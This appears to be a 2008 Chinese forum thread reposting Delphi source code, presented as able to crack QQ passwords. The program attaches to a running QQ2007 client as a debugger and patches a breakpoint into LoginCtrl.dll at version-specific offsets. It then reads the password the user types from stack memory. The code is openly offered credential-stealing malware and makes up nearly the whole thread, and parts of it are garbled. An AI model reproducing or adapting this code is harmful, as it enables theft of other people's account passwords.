ashiw 发表于 2008-3-7 00:06:49

转贴一段号称可以破解QQ密码的代码。利用Debug Api 获得QQ2007密码

标 题: 利用Debug Api 获得QQ2007密码
作 者: open
时 间: 2008-03-04,12:52
链 接: http://bbs.pediy.com/showthread.php?t=60623

随手写写的代码.这是上年的代码.2008版同样可以在ESP+24读取密码.只不过下断位置不同罢了.

{*******************************************************}
{                                                       }
{       利用Debug Api 获得QQ2007密码                  }
{   只支持QQ2007版本为7.1.576.1763或7.0.431.1723      }
{       版权所有 (C) 2008 Open                   }
{                                                       }
{*******************************************************}

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ComCtrls,psapi,StrUtils;

type
TForm1 = class(TForm)
    Button1: TButton;
    Label1: TLabel;
    procedure Button1Click(Sender: TObject);
private
    { Private declarations }
public
    { Public declarations }
end;

var
Form1: TForm1;
const
    Code :DWORD = $CC;
    JCode :DWORD =$8D;
implementation

{$R *.dfm}
var
ProcessID: DWORD;

function HexToInt(HexStr: string): Int64;
var
RetVar: Int64;
i: byte;
begin
HexStr := UpperCase(HexStr);
if HexStr = 'H' then
    Delete(HexStr, length(HexStr), 1);
RetVar := 0;
for i := 1 to length(HexStr) do begin
    RetVar := RetVar shl 4;
    if HexStr in ['0'..'9'] then
      RetVar := RetVar + (byte(HexStr) - 48)
    else
      if HexStr in ['A'..'F'] then
      RetVar := RetVar + (byte(HexStr) - 55)
      else begin
      Retvar := 0;
      break;
      end;
end;
Result := RetVar;
end;


function GetMem(nOK:THANDLE;Addr:DWORD;len:integer=0):string;
const FindCount=100;
var
    buf1:array of pchar ;
    OK:BOOL;
    nSize: DWORD;
    lpNumberOfBytesRead:cardinal;
    res,tmp:string;
    s:array of string;
    i:integer;
begin
if len<>0 then begin
    nSize:=len ;
    buf1:=AllocMem(nSize);
    OK :=ReadProcessMemory(nOK,Pointer(addr),buf1,nSize,lpNumberOfBytesRead);
    if(OK or (nSize<>lpNumberOfBytesRead)) then begin
      s:='';
      for i :=0to nSize-1 dobegin
      s := s + format('%.2X',)]);
      end;
    end;
    FreeMem(buf1, nSize);
    tmp:=s;
    i:=1;
    res:='';
    while i<length(tmp) do begin
      res:=res+chr(HexToInt(copy(tmp,i,2)));
      inc(i,2);
    end;
    result:=res;
    exit;
end;
end;



procedure NewProcess;
var
      I: Integer;
      Count: DWORD;
      ModHandles: array of DWORD;
      ModInfo: TModuleInfo;
      ModName: array of char;
      Num : Cardinal;
      Rc,ok :Boolean;
      DebugD: DEBUG_EVENT;
      Context: _CONTEXT;
      base: Pointer;
      ProcHand : THandle;
      ThreadHandle :THandle;
      EAX : string;
begin
      ProcHand := OpenProcess(PROCESS_ALL_ACCESS,False,ProcessID);
      if ProcHand <> 0 then
   try
      EnumProcessModules(ProcHand,@ModHandles,SizeOf(ModHandles),Count);
          for I :=0 to (Count div SizeOf(DWORD)) - 1 do
            if (GetModuleFileNameEx(ProcHand,ModHandles,ModName,SizeOf(ModName)) > 0) and GetModuleInformation(ProcHand,
                  ModHandles,@ModInfo,SizeOf(ModInfo)) and (RightStr(UpperCase(ModName),13)= 'LOGINCTRL.DLL') then
                   begin
                     ifDWord(ModInfo.EntryPoint) - Dword(ModInfo.lpBaseOfDll) = $22C3A then
                     base :=Pointer(DWord(ModInfo.lpBaseOfDll)+$15C90);
                     ifDWord(ModInfo.EntryPoint) - Dword(ModInfo.lpBaseOfDll) = $2043A then
                     base :=Pointer(DWord(ModInfo.lpBaseOfDll)+$148A3);
                     ok := WriteProcessMemory(ProcHand,base,@Code,1,Num);
                     if not ok then Exit;
                     ifnot DebugActiveProcess(ProcessID) thenExit;
                     Rc := True;
   while WaitForDebugEvent(DebugD, INFINITE) do
       begin
         case DebugD.dwDebugEventCode of
            EXIT_PROCESS_DEBUG_EVENT:
         begin
            Form1.Label1.Caption := '被调试进程中止';
            Break;
         end;
            CREATE_PROCESS_DEBUG_EVENT:
         begin
            ThreadHandle := DebugD.CreateProcessInfo.hThread;
            Form1.Label1.Caption := '请输入密码点登录';
          end;
             EXCEPTION_DEBUG_EVENT:
         begin
         case DebugD.Exception.ExceptionRecord.ExceptionCode of
             EXCEPTION_BREAKPOINT:
      begin
         ifbase = DebugD.Exception.ExceptionRecord.ExceptionAddress then
         begin
         Context.ContextFlags := CONTEXT_FULL;
         GetThreadContext(ThreadHandle, Context);
         EAX := Trim(GetMem(ProcHand,Context.Esp + $24,20));
         Form1.Label1.Caption := 'QQ密码:' + EAX;
         Rc := WriteProcessMemory(ProcHand,Pointer(dword(base)),@JCode,1,Num);
         Context.Eip := dword(base);
         SetThreadContext(ThreadHandle, Context);
      end;
      end;
   end;
       end;
      end;
    if Rc then
      ContinueDebugEvent(DebugD.dwProcessId, DebugD.dwThreadId,DBG_CONTINUE)
    else
      ContinueDebugEvent(DebugD.dwProcessId, DebugD.dwThreadId, DBG_EXCEPTION_NOT_HANDLED);
    end;
      CloseHandle(ThreadHandle);
end;
      finally
          CloseHandle(ProcHand);
      end;
end;


procedure TForm1.Button1Click(Sender: TObject);
var
h: HWND;
ThreadID: THandle;
begin
h := FindWindow(nil,'QQ用户登录');
if h = 0 then
begin
Form1.Label1.Caption := '没有找到QQ登录框';
Exit;
end;
GetWindowThreadProcessId(h,ProcessID) ;
CreateThread(nil, 0, @NewProcess, nil, 0, ThreadID) ;
end;

end.

echo 发表于 2008-3-31 15:53:43

看雪来的帖子呀。
只能截2007的版本哟/:012

tianxia18 发表于 2010-6-2 13:37:00

应该做个2010的了
页: [1]
查看完整版本: 转贴一段号称可以破解QQ密码的代码。利用Debug Api 获得QQ2007密码